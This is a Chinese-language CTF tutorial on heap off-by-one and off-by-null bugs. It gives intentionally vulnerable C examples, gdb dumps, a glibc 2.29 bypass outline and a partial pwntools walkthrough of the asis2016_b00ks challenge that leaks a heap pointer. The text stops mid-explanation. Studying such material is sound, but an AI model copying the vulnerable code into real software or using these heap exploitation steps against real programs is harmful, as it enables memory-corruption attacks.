Off-By-One漏洞原理及利用

参考文献：https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/off-by-one/

什么是off-by-one？

off-by-one是一种比较特殊的溢出漏洞，指的是当程序向缓冲区写入的字节数超过了这个缓冲区本身申请的字节数并且只越界了一个字节。

off-by-one漏洞原理

offbyone只单字节缓冲区溢出，这种漏洞的产生往往与边界验证不严和字符串操作有关，也不排除写入的大小正好只多出了一个字节

边界验证不严通常包括：

  • 使用循环语句向堆块中写入数据的时候，循环的次数设置错误
  • 字符串操作不合适

一般来说，单字节溢出被认为是难以利用的，但是因为 Linux 的堆管理机制 ptmalloc 验证的松散性，基于 Linux 堆的 off-by-one 漏洞利用起来并不复杂，并且威力强大。 此外，需要说明的一点是 off-by-one 是可以基于各种缓冲区的，比如栈、bss 段等等，但是堆上（heap based） 的 off-by-one 是 CTF 中比较常见的。我们这里仅讨论堆上的 off-by-one 情况。

off-by-one利用思路

溢出字节为任意可控字节：通过修改大小造成块结构之间出现重叠，从而泄露或是覆盖其他块数据。

溢出字节为NULL字节：

在size为0x100的时候，溢出NULL字节可以使得prev_in_use 位被清，这样前块会被认为是 free 块。

（1） 这时可以选择使用 unlink 方法（见 unlink 部分）进行处理。

（2） 另外，这时 prev_size 域就会启用，就可以伪造 prev_size ，从而造成块之间发生重叠。此方法的关键在于 unlink 的时候没有检查按照 prev_size 找到的块的大小与prev_size 是否一致。

off-by-one 循环次数设置失误致错

off-by-one：单字节溢出，且该字节可控

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//由于i从0开始循环，循环次数始终是size+1导致多循环一次
int my_gets(char *ptr,int size)
{
    int i;
    for(i=0;i<=size;i++)
    {
        ptr[i]=getchar();
    }
    return i;
}

int main()
{
    void *chunk1,*chunk2;
    chunk1=malloc(16);
    chunk2=malloc(16);
    puts("Get Input:");
    my_gets(chunk1,16);
    return 0;
}

上面是一个典型的off-by-one漏洞，由于for循环的循环边界没用控制好导致多执行一次我们使用 gdb 对程序进行调试，在进行输入前可以看到分配的两个用户区域为 16 字节的堆块

1
2
3
4
0x602000:   0x0000000000000000  0x0000000000000021 <=== chunk1
0x602010:   0x0000000000000000  0x0000000000000000
0x602020:   0x0000000000000000  0x0000000000000021 <=== chunk2
0x602030:   0x0000000000000000  0x0000000000000000

当我们执行 my_gets 之后，可以看到数据发生了溢出并覆盖到了下一个堆块的 prev_size 域 print ‘A’*17

1
2
3
4
0x602000:   0x0000000000000000  0x0000000000000021 <=== chunk1
0x602010:   0x4141414141414141  0x4141414141414141
0x602020:   0x0000000000000041  0x0000000000000021 <=== chunk2
0x602030:   0x0000000000000000  0x0000000000000000

off-by-null 字符串结束符计算失误

off-by-null：单字节溢出，但只能溢出 \x00

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int main(void)
{
    char buffer[40]="";
    void *chunk1;
    chunk1=malloc(24);
    puts("Get Input");
    gets(buffer);
    if(strlen(buffer)==24)
    {
        strcpy(chunk1,buffer);
    }
    return 0;

}

不考虑栈溢出的话，这个程序一眼望去其实是没什么错误的，但是strlen和strcpy的行为不同却导致了off-by-one的漏洞。我们可以通过gdb发现漏洞

strlen 计算的是字符串的长度，但是不把结束符’’ \x00 ‘’计算在内

strcpy在复制字符串时会拷贝结束符’’ \x00 ‘’导致多写入一个字节

1
2
3
0x602000:   0x0000000000000000  0x0000000000000021 <=== chunk1
0x602010:   0x0000000000000000  0x0000000000000000
0x602020:   0x0000000000000000  0x0000000000000411 <=== next chunk

当我们输入’A’*24之后执行strcpy函数

1
2
3
0x602000:   0x0000000000000000  0x0000000000000021
0x602010:   0x4141414141414141  0x4141414141414141
0x602020:   0x4141414141414141  0x0000000000000400

可以看到 next chunk 的 size 域低字节被结束符 '\x00' 覆盖，这种又属于 off-by-one 的一个分支称为 NULL byte off-by-one，我们在后面会看到 off-by-one 与 NULL byte off-by-one 在利用上的区别。 还是有一点就是为什么是低字节被覆盖呢，因为我们通常使用的 CPU 的字节序都是小端法的

比如一个 DWORD 值在使用小端法的内存中是这样储存的

1
2
DWORD 0x41424344
内存  0x44,0x43,0x42,0x41

在 libc-2.29 之后对off-by-one的限制

libc-2.29新增了这样两行代码导致off-by-null的方法失效，但只要满足unlink的chunk和下一个chunk项链，仍然可以伪造fack_chunk

1
2
if (__glibc_unlikely (chunksize(p) != prevsize))
    malloc_printerr ("corrupted size vs. prev_size while consolidating");

伪造方式：

通过large bin遗留的 fd_nextsize 和 bk_nextsize 指针。以 fd_nextsize 为 fake_chunk 的 fd，以bk_nextsize 为 fake_chunk 的 bk，这样我们可以完全控制该 fake_chunk 的 size 字段（这个过程会破坏原 large bin chunk 的 fd 指针，但是没有关系），同时还可以控制其 fd（通过部分覆写 fd_nextsize）。通过在后面使用其他的 chunk 辅助伪造，可以通过该检测

然后只需要通过 unlink 的检测就可以了，也就是 fd->bk == p && bk->fd == p

如果 large bin 中仅有一个 chunk，那么该 chunk 的两个 nextsize 指针都会指向自己，1767605933205-150a4214-30cb-4932-8681-36c6a998f1a6.png

我们可以控制 fd_nextsize 指向堆上的任意地址，可以容易地使之指向一个 fastbin + 0x10 - 0x18，而 fastbin 中的 fd 也会指向堆上的一个地址，通过部分覆写该指针也可以使该指针指向之前的 large bin + 0x10，这样就可以通过 fd->bk == p 的检测。

由于 bk_nextsize 我们无法修改，所以 bk->fd 必然在原先的 large bin chunk 的 fd 指针处（这个 fd 被我们破坏了）。通过 fastbin 的链表特性可以做到修改这个指针且不影响其他的数据，再部分覆写之就可以通过 bk->fd==p 的检测了。

然后通过 off-by-one 向低地址合并就可以实现 chunk overlapping 了，之后可以 leak libc_base 和 堆地址，tcache 打 __free_hook 即可。

光讲原理比较难理解，建议结合题目学习，比如本文中的实例 3。

[BUU] asis2016_b00ks

1767609457469-a8c27139-fce6-463a-b7e3-174bb71bd659.png

1767609443788-8b8b3d27-a14f-4163-be68-b83c23d65c67.png

题目就是一个图书管理系统，有创建删除编辑打印修改五个功能

1
2
3
4
5
6
puts("\n1. Create a book");
puts("2. Delete a book");
puts("3. Edit a book");
puts("4. Print book detail");
puts("5. Change current author name");
puts("6. Exit");

程序运行分析

我们通过运行程序一个一个分析，先看创建图书，就是书名大小，书名，描述大小，描述1767609416431-8f9a948a-dd08-4290-aef1-68e3f1c5e10c.png

1
2
3
4
5
6
7
8
9
10
def create(name_len,name,desc_len,desc)
	p.sendline('1')
	p.recvuntil('Enter book name size: ')
	p.sendline(str(name_len))
	p.recvuntil('Enter book name (Max 32 chars): ')
	p.sendline(name)
	p.recvuntil('Enter book description size: ')
	p.sendline(str(desc_len))
	p.recvuntil('Enter book description: ')
	p.sendline(desc)

删除图书，通过运行程序我们发现，创建的图书id是从1开始分配的1767609924700-4ad2f3c1-9244-4880-8357-2245e7051bbe.png

重新创建一个book打印一下基本信息，我们发现id是从2开始的，我们发现，删除之后并不清零id1767610169604-fe5989fc-e71d-41b6-b114-65b2e7b14b80.png

重新创建看一看编辑图书内容，大概就是这个样子，修改作者名也是一样就不再看了1767610311985-75499f8c-ff56-4807-a201-f796b9a63053.png

1
2
3
4
5
6
def edit(index,desc)
	p.sendline('3')
	p.recvuntil('Enter the book id you want to edit: ')
	p.sendline(str(index))
	p.recvuntil('Enter new book description: ')
	p.sendline(desc)

IDA静态分析

程序运行采集信息也就到此结束了，之后通过IDA静态分析一下程序的漏洞，感觉主函数最外层没有什么说的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  struct _IO_FILE *stdin; // rdi
  int n6; // eax

  setvbuf(stdout, 0, 2, 0);
  stdin = ::stdin;
  setvbuf(::stdin, 0, 1, 0);
  puts_w(stdin);
  sub_B6D(stdin);
  while ( 1 )
  {
    n6 = sub_A89(stdin);
    if ( n6 == 6 )
      break;
    switch ( n6 )
    {
      case 1:
        sub_F55(stdin);
        break;
      case 2:
        sub_BBD(stdin);
        break;
      case 3:
        sub_E17(stdin);
        break;
      case 4:
        sub_D1F(stdin);
        break;
      case 5:
        sub_B6D(stdin);
        break;
      default:
        stdin = (struct _IO_FILE *)"Wrong option";
        puts("Wrong option");
        break;
    }
  }
  puts("Thanks to use our library software");
  return 0;
}

我们进入到sub_B6D中看一看是什么，发现限制读取32位的bookname

1767611749691-42773982-8b45-4463-9c82-1db8973be85f.png

再来到create函数（sub_F55）里面看一看有没有可以用到的信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
__int64 __fastcall sub_F55(struct _IO_FILE *stdin)
{
  int bookid; // [rsp+4h] [rbp-1Ch]
  _DWORD *book_information; // [rsp+8h] [rbp-18h]
  _BYTE *ptr; // [rsp+10h] [rbp-10h]
  _BYTE *input; // [rsp+18h] [rbp-8h]

  printf("\nEnter book name size: ");
  get_bookname_size("%d");                      // 获取name的大小

  printf("Enter book name (Max 32 chars): ");
  ptr = malloc(0);
  if ( ptr )
  {
    if ( (unsigned int)get_bookname(ptr, 0xFFFFFFFFLL) )// 输入name
    {
      printf("fail to read name");
    }
    else
    {
      printf("\nEnter book description size: ");
      get_bookname_size("%d");
      input = malloc(0);
      if ( input )
      {
        printf("Enter book description: ");
        if ( (unsigned int)get_bookname(input, 0xFFFFFFFFLL) )
        {
          printf("Unable to read description");
        }
        else
        {
          bookid = sub_B24();                   // 为书籍分配id
          if ( bookid == -1 )
          {
            printf("Library is full");
          }
          else
          {
            book_information = malloc(0x20u);
            if ( book_information )
            {
              book_information[6] = 0;
              *((_QWORD *)off_202010 + bookid) = book_information;
              *((_QWORD *)book_information + 2) = input;
              *((_QWORD *)book_information + 1) = ptr;
              *book_information = ++unk_202024;
              return 0;
            }
            printf("Unable to allocate book struct");
          }
        }
      }
      else
      {
        printf("Fail to allocate memory");
      }
    }
  }
  else
  {
    printf("unable to allocate enough space");
  }
  if ( ptr )
    free(ptr);
  if ( input )
    free(input);
  if ( book_information )
    free(book_information);
  return 1;
}

看一下get_bookname函数，发现32位的限制却可以循环读入33次（这里伪代码并没有和C语言源代码一样，直接在for中表示循环条件，不过在循环内有i==n32，break，跳出循环，执行33次），明显的offbyone

1767611641332-b060c185-e919-4958-865d-46476fe7c397.pngread(0, ptr, 1u) 表示：

从标准输入（键盘）读取 1 个字节的数据，并把这个字节存储到指针 ptr 指向的内存地址中。

查看 if ( (unsigned int)read(0, ptr, 1u) != 1 ) 中ptr的指向: 0x202018 ptr 指向作者名1767612138721-3f49811f-e486-416f-ba0a-fcb5fa337192.png

图书结构体指针存放在off_202010，地址为0x2020101767613084675-76425b82-13d5-48f3-b892-760745df68ab.png

1
2
3
4
5
6
7
struct book
{
    int id;
    char *name;
    char *description;
    int size;
}

对以上信息采集做一个汇总

  • 作者名存储在0x202018的地址指针中，空间大小为32字节
  • 图书结构体指针存储在0x202010中
  • get_bookname函数中存在offbyone漏洞**（如果在创建或者修改作者名的时候填写32个字节的任意字符串，就会导致\x00溢出到off_202018的低位）**

漏洞利用

1767615691801-32d5b7e6-87ff-4d2f-8809-a55771090cc7.png

gdb去直接调试输入32个任意字符串，之后Ctrl+C进入调试

由于在IDA中我们得知作者名存放在0x202018中，我们只需要知道代码段的基地址+0x202018偏移就可以找到存放作者名的指针了

我们通过vmmap看一看代码段的起始地址：1767615984501-3a4efbe6-20d3-4150-94c9-02ed38139656.png

第一行红色字段就是代码段的范围0x555555400000~0x555555402000，所以同理存放图书指针名的地址是0x555555400000+0x202010=0x555555602010（这里图片手误）

1
2
3
4
5
6
7
8
9
pwndbg> x/16gx 0x555555602010
0x555555602010:	0x0000000000000000	0x0000000000000000
0x555555602020:	0x0000000200000000	0x0000000000000000
0x555555602030:	0x0000000000000000	0x0000000000000000
0x555555602040:	0x6161616161616161	0x6161616161616161
0x555555602050:	0x6161616161616161	0x6161616161616161
0x555555602060:	0x0000000000000000	0x00005555556037d0
0x555555602070:	0x0000000000000000	0x0000000000000000
0x555555602080:	0x0000000000000000	0x0000000000000000

其中：602060高地址结尾的00就是通过第33次循环写入的

由于作者名内容地址和图书的结构体内容地址是连接在一起的，像这样–>

1
2
3
4
5
0x555555756040: 0x6161616161616161  0x6161616161616161
0x555555756050: 0x6161616161616161  0x6161616161616161   <== author name
0x555555756060: 0x0000555555757480 <== pointer array    0x0000000000000000
0x555555756070: 0x0000000000000000  0x0000000000000000
0x555555756080: 0x0000000000000000  0x0000000000000000

因此接下来可以尝试泄露图书结构体指针；创建book1和book2，gdb做相应步骤

1
2
create(10,"book1_name",200,"book1_desc")
create(20,"book2_name",200,"book2_desc")

1767704821271-93cb0ac5-4049-4837-9731-ba78271fe9bc.png

tip）printf函数的特性：printf函数打印函数时，打印到\x00处就会停止，只输出了book1结构体指针我们在gdb输入相应内容发现地址0x555555602010存放的就是book1结构体的起始地址，0x555555602060存放的是book2结构体的起始地址

1
2
3
4
5
6
7
8
9
pwndbg> x/16gx 0x555555602010
0x555555602010:	0x0000555555602060	0x0000555555602040
0x555555602020:	0x0000000200000000	0x0000000000000000
0x555555602030:	0x0000000000000000	0x0000000000000000
0x555555602040:	0x6161616161616161	0x6161616161616161
0x555555602050:	0x6161616161616161	0x6161616161616161
0x555555602060:	0x00005555556037a0	0x00005555556037d0
0x555555602070:	0x0000000000000000	0x0000000000000000
0x555555602080:	0x0000000000000000	0x0000000000000000

这样的话我们就可以利用printf的截断型成功泄露book1的指针

1
2
3
4
5
6
7
p.recvuntil('>')
p.sendline('4')
p.recvuntil('Author: ')
p.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
book1_addr = io.recv(6)
book1_addr = book1_addr.ljust(8,'\x00')
book1_addr = u64(book1_addr)

之后开始尝试覆盖原有的结构体指针

之前我们已经尝试泄露出来book1的结构体指针，我们查看一下结构体的信息

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/20gx 0x00005555556037a0
0x5555556037a0:	0x0000000000000001	0x00005555556036b0|<==book1结构体范围
0x5555556037b0:	0x00005555556036d0	0x00000000000000c8|
0x5555556037c0:	0x0000000000000000	0x0000000000000031|
0x5555556037d0:	0x0000000000000002	0x00007ffff7f86010|<==book2结构体范围
0x5555556037e0:	0x00007ffff7f64010	0x0000000000021000|
0x5555556037f0:	0x0000000000000000	0x0000000000020811|
0x555555603800:	0x0000000000000000	0x0000000000000000
0x555555603810:	0x0000000000000000	0x0000000000000000
0x555555603820:	0x0000000000000000	0x0000000000000000
0x555555603830:	0x0000000000000000	0x0000000000000000

我们先简单分析一下book1的结构体

1
2
3
4
5
6
7
struct book
{
    int id;
    char *name;
    char *description;
    int size;
}
1
2
3
0x5555556037a0:	book1_id            a            |<==book1结构体范围
0x5555556037a8:	book1_name：0x00005555556036b0  |
0x5555556037b0: book1_desc：0x00005555556036d0  |

我们思考，既然book1的结构体指针低位可以覆盖作者名的\x00，那么作者名的\x00是不是也可以覆盖结构体指针的低位呢？

恰好这个程序有修改作者名的功能，且输入的作者名依旧会存放之0x202018当中。如果覆盖低位之后，就会变成0x5555556037a0

更新: 2026-03-02 20:39:41
原文: https://www.yuque.com/idcm/wnemg9/wqpw8sn8poqmzb69